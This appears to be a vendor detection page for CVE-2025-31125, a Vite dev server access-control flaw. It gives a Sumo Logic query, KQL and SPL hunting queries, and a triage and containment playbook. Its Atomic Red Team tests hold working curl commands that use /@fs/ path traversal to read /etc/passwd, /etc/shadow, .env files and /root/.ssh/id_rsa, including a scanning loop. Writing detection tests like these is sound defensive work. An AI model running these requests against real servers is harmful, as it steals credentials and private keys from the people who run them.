CVE-2025-31125 Sumo Logic CSE · Sumo

Detect CVE-2025-31125: Vite Dev Server Improper Access Control in Sumo Logic CSE

Detects exploitation of CVE-2025-31125, an improper access control vulnerability in Vite (Vitejs) dev server. The vulnerability allows unauthorized access to sensitive files outside the intended serve root, classified under CWE-200 (Information Exposure) and CWE-284 (Improper Access Control). This vulnerability is listed in CISA KEV, indicating active exploitation in the wild.

MITRE ATT&CK

Tactic
Initial Access Discovery Collection

Sumo Detection Query

Sumo Logic CSE (Sumo)
sql 
_sourceCategory=web* OR _sourceCategory=proxy* OR _sourceCategory=nginx* OR _sourceCategory=apache*
| where (%"cs-uri-stem" matches "*/@fs/*" or _raw matches "/@fs/")
| parse regex field=_raw "(?<uri_path>/@fs/[^\s\"']+)" nodrop
| parse regex field=_raw "\s(?<status_code>\d{3})\s" nodrop
| where uri_path matches "*../*" or uri_path matches "*%2e%2e*" or uri_path matches "*/.env*" or uri_path matches "*/etc/*" or uri_path matches "*/proc/*" or uri_path matches "*[A-Z]:/*"
| count by _sourceHost, src_ip, uri_path, status_code
| where status_code = "200" or _count > 5
| order by _count desc
high severity medium confidence

Sumo Logic query to detect CVE-2025-31125 exploitation by identifying path traversal requests to Vite /@fs/ endpoints, particularly those returning HTTP 200 indicating successful unauthorized file access.

Data Sources

Web Server LogsProxy LogsCDN Access Logs

Required Tables

_sourceCategory=web*_sourceCategory=proxy*

False Positives & Tuning

  • Legitimate Vite development server traffic with complex workspace configurations
  • Authorized penetration testing and vulnerability scanning activities
  • Developers using Vite's file system serving for legitimate cross-directory module resolution
  • Load balancer health checks hitting Vite-specific endpoints

Other platforms for CVE-2025-31125

Microsoft Sentinel (KQL) Splunk (SPL) Elastic Security (Elastic) IBM QRadar (QRadar) Google Chronicle (YARA-L) CrowdStrike LogScale (LogScale) All platforms (combined) →

Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1Vite /@fs/ Path Traversal to Read /etc/passwd

    Expected signal: HTTP GET request to /@fs/etc/passwd and variants logged in web server access logs; Node.js process accessing /etc/passwd on the file system; network connection from test host to port 5173

  2. Test 2Vite Dev Server Environment File Extraction

    Expected signal: HTTP requests to /@fs/ with absolute paths to .env files; file system read events on .env and config files; response body containing environment variable content if successful

  3. Test 3Automated CVE-2025-31125 Exploitation Scan

    Expected signal: Rapid sequential HTTP GET requests to /@fs/ endpoint with multiple sensitive path targets; consistent source IP across all requests; mix of 200 and 403 response codes; elevated request rate to Vite dev server port

Last updated: 2026-06-19 Research depth: standard
References (2)

Response Playbook

Triage

  1. Identify all hosts and IP addresses that sent requests to Vite dev server /@fs/ endpoints and determine if they are internal developers, external IPs, or known scanner/attacker infrastructure.
  2. Examine the specific URI paths accessed via /@fs/ to determine what files were targeted — look for sensitive files such as .env, /etc/passwd, SSH keys, application secrets, or database configuration files.
  3. Determine if the Vite dev server was intentionally exposed externally (e.g., bound to 0.0.0.0) or if this represents an unexpected exposure — check server configuration and network segmentation.
  4. Review HTTP response codes for /@fs/ requests — HTTP 200 responses indicate successful file read, while 403/404 indicates failed attempts; prioritize investigation of successful reads.

Containment

  1. Immediately restrict network access to Vite dev server ports (typically 5173, 3000, 4173) using firewall rules or network ACLs to prevent further unauthorized access.
  2. Patch or upgrade the Vite installation to a version that includes the fix from commit 59673137c45ac2bcfad1170d954347c1a17ab949, or configure server.fs.allow to explicitly restrict accessible paths.
  3. If sensitive files were accessed (secrets, credentials, private keys), rotate all potentially exposed credentials immediately and notify affected service owners.

Evidence Collection

  1. Collect and preserve all web server access logs, including full URI paths, source IPs, timestamps, response codes, and response body sizes for the period surrounding the detected activity.
  2. Capture memory dump or process snapshot of the Node.js Vite dev server process if still running, to identify any in-memory secrets or session data that may have been exposed.
  3. Export network flow data and any packet captures covering communication between the source IP and the Vite server for forensic analysis.

Escalation Criteria

  • !Escalate immediately if HTTP 200 responses were returned for requests targeting sensitive files such as .env, private keys, /etc/shadow, or application credential files — indicating confirmed data exfiltration.
  • !Escalate if the source IP is attributed to a known threat actor, is a Tor exit node, or originates from a geography inconsistent with your developer population.
  • !Escalate if multiple distinct sensitive file types were accessed in sequence, suggesting automated or scripted exploitation rather than opportunistic scanning.

Investigation Guide

Related Techniques

[object Object][object Object][object Object]

Forensic Artifacts

  • >Web server access logs containing /@fs/ URI paths with path traversal sequences or absolute paths outside the project root
  • >Node.js process logs for the Vite dev server showing file serve requests and any error messages related to path resolution
  • >Network flow records showing connections to Vite default ports (5173, 3000, 4173) from unexpected source IPs
  • >File system access timestamps on sensitive files (e.g., .env, config files, key files) that correlate with suspicious request times

Tuning Guidance

This detection will generate false positives in active development environments where Vite is used with monorepo or workspace setups that legitimately access files outside the default root via /@fs/. To reduce noise: (1) Scope detection to non-development network segments or explicitly exclude known developer IP ranges; (2) Add a whitelist of legitimate /@fs/ path prefixes that correspond to your workspace package directories; (3) Focus high-confidence alerting on requests targeting known sensitive file names (.env, id_rsa, passwd, shadow) or Windows absolute paths (/@fs/C:/) which are never legitimate in normal Vite dev operation; (4) Combine with a 200 status code filter to alert only on successful reads rather than attempted access.

Hunting Queries

Hunt for sustained or repeated access to Vite /@fs/ endpoints over the past 30 days to identify reconnaissance or exploitation activity that may have been missed by real-time alerting, including low-and-slow scanning patterns.

Hunting — KQL
kql 
W3CIISLog
| where TimeGenerated > ago(30d)
| where csUriStem contains "/@fs/"
| summarize request_count=count(), unique_paths=dcount(csUriStem), status_codes=make_set(scStatus), source_ips=make_set(cIP) by bin(TimeGenerated, 1h), csHost
| where request_count > 3
| order by request_count desc
Hunting — SPL
spl 
index=web (uri_path="*/@fs/*" OR uri="*/@fs/*") earliest=-30d
| stats count AS hits, dc(uri_path) AS unique_paths, values(status) AS statuses, dc(src_ip) AS unique_src BY host, date_hour
| where hits > 3
| sort - hits

Atomic Red Team Tests

Test 1 Vite /@fs/ Path Traversal to Read /etc/passwd
linux

Simulates CVE-2025-31125 exploitation by sending an HTTP request to a vulnerable Vite dev server attempting to read /etc/passwd via the /@fs/ file serving endpoint.

Command

bash 
curl -v 'http://localhost:5173/@fs/etc/passwd' && curl -v 'http://localhost:5173/@fs/../../../etc/passwd' && curl -v 'http://localhost:5173/@fs/%2fetc%2fpasswd'

Cleanup

bash 
# No cleanup required — read-only test

Expected Telemetry

HTTP GET request to /@fs/etc/passwd and variants logged in web server access logs; Node.js process accessing /etc/passwd on the file system; network connection from test host to port 5173

Expected Detection

Alert triggered on URI path containing /@fs/ combined with /etc/ path component; multiple 200 responses indicate successful exploitation

Test 2 Vite Dev Server Environment File Extraction
linux

Attempts to read .env file and other common secret files from the application root via the Vite /@fs/ endpoint, simulating attacker credential harvesting.

Command

bash 
# Start vulnerable Vite dev server first in lab
# Then execute:
curl -s 'http://localhost:5173/@fs/$(pwd)/.env' && curl -s 'http://localhost:5173/@fs/$(pwd)/../.env' && curl -s 'http://localhost:5173/@fs/$(pwd)/config/secrets.json'

Cleanup

bash 
# No cleanup required — read-only test; ensure .env contains only dummy values in lab

Expected Telemetry

HTTP requests to /@fs/ with absolute paths to .env files; file system read events on .env and config files; response body containing environment variable content if successful

Expected Detection

Alert on /@fs/ requests targeting .env or secrets files; SIEM correlation between HTTP 200 response and sensitive file path access

Test 3 Automated CVE-2025-31125 Exploitation Scan
linux

Simulates automated scanner behavior probing multiple sensitive file paths via the Vite /@fs/ endpoint in rapid succession, as would be seen from exploitation tooling.

Command

bash 
for path in '/etc/passwd' '/etc/shadow' '/etc/hosts' '/.env' '/proc/self/environ' '/root/.ssh/id_rsa'; do echo "Testing: $path"; curl -s -o /dev/null -w "%{http_code} $path\n" "http://localhost:5173/@fs$path"; sleep 0.5; done

Cleanup

bash 
# No cleanup required — read-only probe; review access logs to confirm telemetry generated

Expected Telemetry

Rapid sequential HTTP GET requests to /@fs/ endpoint with multiple sensitive path targets; consistent source IP across all requests; mix of 200 and 403 response codes; elevated request rate to Vite dev server port

Expected Detection

High-frequency /@fs/ path traversal attempts from single source IP trigger volume-based detection; individual path-based rules fire for each sensitive path targeted; correlation rule identifies sequential file enumeration pattern

Related Detections

Tactic Hubs

TA0001Initial AccessTA0007DiscoveryTA0009Collection

Related Techniques

T1190Exploit Public-Facing ApplicationT1083File and Directory DiscoveryT1005Data from Local System

Same Tactic: Initial Access

Popular Detections